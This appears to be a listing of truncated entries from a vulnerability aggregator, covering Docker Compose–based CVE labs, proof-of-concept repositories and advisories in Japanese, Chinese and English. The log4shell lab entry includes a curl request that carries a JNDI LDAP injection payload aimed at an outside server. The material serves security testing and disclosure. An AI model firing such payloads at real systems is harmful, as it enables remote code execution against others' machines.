CVE-2026-27607

CVE-2026-27607 CVE-2026-27607 の概念実証（PoC）。GHSA-w5fh-f8xh-5x3p として公開されています。 実行方法 Node.js と docker + compose が必要です。 依存関係のインストール: npm ci 脆弱な RustFS インスタンスを起動: docker compose up 起動完了を待つ デモを実行: ./exploit.js...

log4shell_lab

log4shell 漏洞利用实验室 本仓库提供一行命令即可搭建 log4shell 漏洞利用实验室。 搭建实验室：docker-compose up -d 运行漏洞利用：curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 然后进入 vul 容器，你会看到我们确实已经控制了该机器： 解释实验室搭建的视频：https://www.youtube.com/watch?v=WBzR30JcT5g...

Poc-CVE-2025-9519

Easy Timer v4.2.1 - 前提条件 Docker Engine がインストールされていること Docker Compose がインストールされていること 公式の Docker ドキュメントを参照してインストールしてください: Docker Engine インストール 1. Docker で WordPress を起動する プロジェクトディレクトリから: sudo docker-compose up -d mkdir -p wp-content/plugins cd wp-content/plugins wget...

CVE-2025-34159

CVE-2025-34159: Coolify における Docker Compose インジェクション 脆弱性の概要 フィールド| 値 ---|--- CVE ID| CVE-2025-34159 影響を受けるバージョン| Coolify ≤ v4.0.0-beta.420.6 修正バージョン| v4.0.0-beta.420.7 深刻度| 重大 CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78 OSコマンドインジェクション, CWE-20 不適切な入力検証 概要...

homelab-CVE-2025-68613

このプロジェクトでのDocker Composeの使用方法 このガイドでは、Docker Composeのインストール方法と、提供されているdocker-compose.ymlファイルを使ったプロジェクトの実行方法について説明します。 前提条件 システムにDockerがインストールされている必要があります。手順については、公式Dockerインストールガイドを参照してください。 Docker Composeのインストール Docker Composeは、Docker DesktopおよびDocker Engine...

CVE-2020-11800

課題ガイドラインで必須とされるセクションは「Required」と表示されています。 1. 環境 Required Dockerfile Required この環境は、Vulhubが提供する脆弱なZabbix ServerイメージをベースにしたカスタムDockerfileを使用しています。 FROM vulhub/zabbix:3.0.3-server このDockerfileは、脆弱なZabbix 3.0.3サーバ環境を使用してローカルイメージをビルドします。ビルドプロセス中に追加のパッケージや設定は追加されていません。 docker-compose.yml Required...

CVE-2021-43798

ラボを起動する docker compose up -d Poc: python3 CVE-2021-43798.py IP PORT 作者: https://www.linkedin.com/in/steven-guimaraes-29aa79212/...

CVE-2025-68613-n8n-lab

CVE-2025-68613 ローカル n8n ラボ このリポジトリは、CVE-2025-68613 をローカルでテストするための脆弱な n8n インスタンスを実行する、シンプルな Docker Compose セットアップを提供します。 要件 Docker Desktop または Docker Engine Docker Compose v2 クイックスタート 1. コンテナを起動します： docker compose up -d 2. ブラウザで n8n を開きます： http://localhost:5678 3. docker-compose.yml...

CVE-2019-19356

CVE-2019-19356 cd CVE-2019-19356 docker-compose up -d...

CLEANSTART-2024-XV18933 Git is an open source, scalable, distributed revision control system

Security vulnerability affects the docker-cli-compose package. Git is an open source, scalable, distributed revision control system...

CLEANSTART-2024-OB04829 In net/http in Go before 1

Security vulnerability affects the docker-cli-compose package. In net/http in Go before 1...

CVE-2026-56855 affecting package docker-compose for versions less than 2.27.0-14

CVE-2026-56855 affecting package docker-compose for versions less than 2.27.0-14. A patched version of the package is available...

CVE-2026-78662 affecting package docker-compose for versions less than 2.27.0-14

CVE-2026-78662 affecting package docker-compose for versions less than 2.27.0-14. A patched version of the package is available...

CVE-2026-37236 affecting package docker-compose for versions less than 2.27.0-14

CVE-2026-37236 affecting package docker-compose for versions less than 2.27.0-14. A patched version of the package is available...

MobSF_AI

MobSF AI Sidecar このプロジェクトは、Mobile Security Framework MobSF にAI搭載のチャットアシスタントを追加します。セキュリティアナリストは、MobSFが生成した分析レポートについて、インターフェース内で直接質問でき、OpenAIのモデルを活用します。 特徴 シームレスな統合 : Nginxリバースプロキシを使用して、特化したチャットインターフェースをMobSFレポートに直接注入します。 コンテキスト認識 : AIアシスタントは現在の分析レポート（静的解析）を自動的に取得し、それをコンテキストとして質問に回答します。 インタラクティブQ &...

CVE-2026-103053

AiSOC versions 9.0.0 before 12.0.0 fail to enforce authentication on the response-action API endpoints when AISOCDEVMODE is enabled and AISOCACTIONSSERVICETOKEN is empty in the default Docker Compose deployment. Unauthenticated attackers can list response-action integrations, submit and approve...

CVE-2026-103053

AiSOC versions 9.0.0 before 12.0.0 are vulnerable to an authentication bypass in the response-action API endpoints . This flaw occurs when AISOC_DEV_MODE is enabled and the AISOC_ACTIONS_SERVICE_TOKEN is empty within a default Docker Compose deployment. An unauthenticated attacker can exploit thi...

CVE-2026-103053 AiSOC 9.0.0 before 12.0.0 Missing Authentication on Actions Service Response-Action API

AiSOC versions 9.0.0 before 12.0.0 fail to enforce authentication on the response-action API endpoints when AISOCDEVMODE is enabled and AISOCACTIONSSERVICETOKEN is empty in the default Docker Compose deployment. Unauthenticated attackers can list response-action integrations, submit and approve...

CVE-2026-103053 AiSOC 9.0.0 before 12.0.0 Missing Authentication on Actions Service Response-Action API

AiSOC versions 9.0.0 before 12.0.0 fail to enforce authentication on the response-action API endpoints when AISOCDEVMODE is enabled and AISOCACTIONSSERVICETOKEN is empty in the default Docker Compose deployment. Unauthenticated attackers can list response-action integrations, submit and approve...

GO-2026-6515 Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools in github.com/f1bonacc1/process-compose

Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools in github.com/f1bonacc1/process-compose...